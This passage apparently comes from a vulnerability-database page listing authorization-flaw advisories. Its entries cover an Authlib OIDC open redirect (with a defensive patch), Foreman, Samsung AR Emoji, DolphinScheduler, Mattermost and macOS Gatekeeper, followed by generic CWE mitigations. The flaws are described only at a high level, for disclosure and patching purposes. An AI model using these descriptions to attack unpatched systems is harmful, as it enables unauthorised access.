Authlib-based OP are not directly affected; this is a server-side issue.\n\nAuthorization servers that only register the plain `AuthorizationCodeGrant` (code flow, with or without PKCE and the `OpenIDCode` extension) are not affected by this specific variant: the code-flow grant validates `redirect_uri` before raising scope errors. If you were affected by the sibling issue fixed in `3be08468` (`UnsupportedResponseTypeError`), you should already be on `1.6.10` or later; this advisory is independent of that fix.\n\n### Suggested fix\n\nThe attached `fix-oidc-open-redirect.patch` reorders each method to delegate to its super (or call `validate_code_authorization_request` for Hybrid) first, and then performs the `openid`-scope check with the validated `redirect_uri` variable.\n\n```python\n# authlib/oidc/core/grants/implicit.py\ndef validate_authorization_request(self):\n    redirect_uri = super().validate_authorization_request()   # runs client + redirect_uri validation\n    if not is_openid_scope(self.request.payload.scope):\n        raise InvalidScopeError(\n            \"Missing \u0027openid\u0027 scope\",\n            redirect_uri=redirect_uri,                         # validated\n            redirect_fragment=True,\n        )\n    try:\n        validate_nonce(self.request, self.exists_nonce, required=True)\n    except OAuth2Error as error:\n        error.redirect_uri = redirect_uri\n        error.redirect_fragment = True\n        raise error\n    return redirect_uri\n```\n\nAn equivalent transform is applied to `OpenIDHybridGrant.validate_authorization_request`, invoking `validate_code_authorization_request` first and only then checking `is_openid_scope`.\n\nAlternatively, inline a `client = query_client(request.payload.client_id)` + `client.check_redirect_uri(request.payload.redirect_uri)` guard before populating `redirect_uri` on the error \u2014 the pattern used in `3be08468`.\n\nThe patch also adds regression tests analogous to `test_unsupported_response_type_does_not_redirect` from commit `3be08468`, asserting `rv.status_code == 400` and `rv.headers.get(\"Location\") is None` for an unregistered `redirect_uri` with a non-`openid` scope.\n\n### Workarounds\n\nNo clean server-side workaround exists short of patching. Partial mitigations:\n\n- Unregister `OpenIDImplicitGrant` and `OpenIDHybridGrant` if the Implicit and Hybrid flows are not required. (RFC 9700 deprecates the Implicit flow and discourages Hybrid flows, so this is recommended anyway.)\n- Front the `/authorize` endpoint with a reverse proxy rule that rejects requests containing both a `redirect_uri` parameter and a `scope` that does not include `openid` when `response_type` matches the vulnerable set. This is fragile and not recommended as a primary control.\n\n### References\n\n- RFC 6749, \u00a74.1.2.1 \u2014 Error Response (OAuth 2.0 authorization endpoint)\n- RFC 9700, \u00a74.11 \u2014 Redirect URI validation\n- OpenID Connect Core 1.0, \u00a73.2.2.6 / \u00a73.3.2.6 \u2014 Authentication Error Response\n- Authlib commit [`3be08468`](https://github.com/authlib/authlib/commit/3be08468) \u2014 prior fix for the same class of issue in `UnsupportedResponseTypeError` (Authlib 1.6.10)\n- Authlib source (by symbol; verified in commit `5d2e603e`):\n  - `OpenIDImplicitGrant.validate_authorization_request` \u2014 `authlib/oidc/core/grants/implicit.py`\n  - `OpenIDHybridGrant.validate_authorization_request` \u2014 `authlib/oidc/core/grants/hybrid.py`\n  - `OAuth2Error.__call__` \u2014 `authlib/oauth2/base.py` (renders errors with `redirect_uri` as HTTP 302)\n  - `AuthorizationEndpointMixin.validate_authorization_redirect_uri` \u2014 `authlib/oauth2/rfc6749/grants/base.py` (the validation that is bypassed)",
  "id": "GHSA-r95x-qfjj-fjj2",
  "modified": "2026-06-08T23:53:47Z",
  "published": "2026-05-13T01:36:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-r95x-qfjj-fjj2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44681"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/releases/tag/v1.6.12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/releases/tag/v1.7.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-188.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib OIDC Implicit/Hybrid Authorization Vulnerable to Open Redirect"
}

GHSA-R979-3CMV-8P2V

Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36
VLAI
Details

Foreman since version 1.5 is vulnerable to an incorrect authorization check due to which users with user management permission who are assigned to some organization(s) can do all operations granted by these permissions on all administrator user object outside of their scope, such as editing global admin accounts including changing their passwords.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-7505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-26T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "Foreman since version 1.5 is vulnerable to an incorrect authorization check due to which users with user management permission who are assigned to some organization(s) can do all operations granted by these permissions on all administrator user object outside of their scope, such as editing global admin accounts including changing their passwords.",
  "id": "GHSA-r979-3cmv-8p2v",
  "modified": "2022-05-13T01:36:20Z",
  "published": "2022-05-13T01:36:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7505"
    },
    {
      "type": "WEB",
      "url": "https://github.com/theforeman/foreman/pull/4545"
    },
    {
      "type": "WEB",
      "url": "http://projects.theforeman.org/issues/19612"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/98607"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R97V-6JQR-X4GV

Vulnerability from github – Published: 2022-06-08 00:00 – Updated: 2022-06-12 00:00
VLAI
Details

Improper caller check in AR Emoji prior to SMR Jun-2022 Release 1 allows untrusted applications to use some camera functions via deeplink.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-30717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-07T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper caller check in AR Emoji prior to SMR Jun-2022 Release 1 allows untrusted applications to use some camera functions via deeplink.",
  "id": "GHSA-r97v-6jqr-x4gv",
  "modified": "2022-06-12T00:00:47Z",
  "published": "2022-06-08T00:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30717"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2022\u0026month=6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R989-CJHX-3V49

Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-18 14:32
VLAI
Summary
Apache DolphinScheduler: DataSource API Missing Authorization Check Leads to Arbitrary Data Source Metadata Disclosure
Details

DataSource API Missing Authorization Check Leads to Arbitrary Data Source Metadata Disclosure in Apache DolphinScheduler.

This issue affects Apache DolphinScheduler: before 3.4.2.

Users are recommended to upgrade to version 3.4.2, which fixes the issue.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.dolphinscheduler:dolphinscheduler-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:32:18Z",
    "nvd_published_at": "2026-06-17T13:20:16Z",
    "severity": "CRITICAL"
  },
  "details": "DataSource API Missing Authorization Check Leads to Arbitrary Data Source Metadata Disclosure in Apache DolphinScheduler.\n\nThis issue affects Apache DolphinScheduler: before 3.4.2.\n\nUsers are recommended to upgrade to version 3.4.2, which fixes the issue.",
  "id": "GHSA-r989-cjhx-3v49",
  "modified": "2026-06-18T14:32:19Z",
  "published": "2026-06-17T18:35:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32966"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/dolphinscheduler"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/4f1fojpj26z9y5nd1ko845gcknpn75g2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/06/17/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache DolphinScheduler: DataSource API Missing Authorization Check Leads to Arbitrary Data Source Metadata Disclosure "
}

GHSA-R9R2-6P7X-XRRR

Vulnerability from github – Published: 2023-07-17 18:31 – Updated: 2024-04-04 06:10
VLAI
Details

Mattermost fails to verify channel membership when linking a board to a channel allowing a low-privileged authenticated user to link a Board to a private channel they don't have access to, 

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-3582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-17T16:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost fails to verify channel membership when linking a board to a channel allowing a low-privileged authenticated user to link a Board to a private channel they don\u0027t have access to,\u00a0\n\n",
  "id": "GHSA-r9r2-6p7x-xrrr",
  "modified": "2024-04-04T06:10:45Z",
  "published": "2023-07-17T18:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3582"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R9VR-4RJX-2PXV

Vulnerability from github – Published: 2023-05-08 21:31 – Updated: 2024-04-04 03:51
VLAI
Details

The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.3, macOS Monterey 12.6.4, macOS Big Sur 11.7.5. An archive may be able to bypass Gatekeeper

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2023-27951"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-08T20:15:18Z",
    "severity": "MODERATE"
  },
  "details": "The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.3, macOS Monterey 12.6.4, macOS Big Sur 11.7.5. An archive may be able to bypass Gatekeeper",
  "id": "GHSA-r9vr-4rjx-2pxv",
  "modified": "2024-04-04T03:51:59Z",
  "published": "2023-05-08T21:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27951"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213670"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213675"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213677"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

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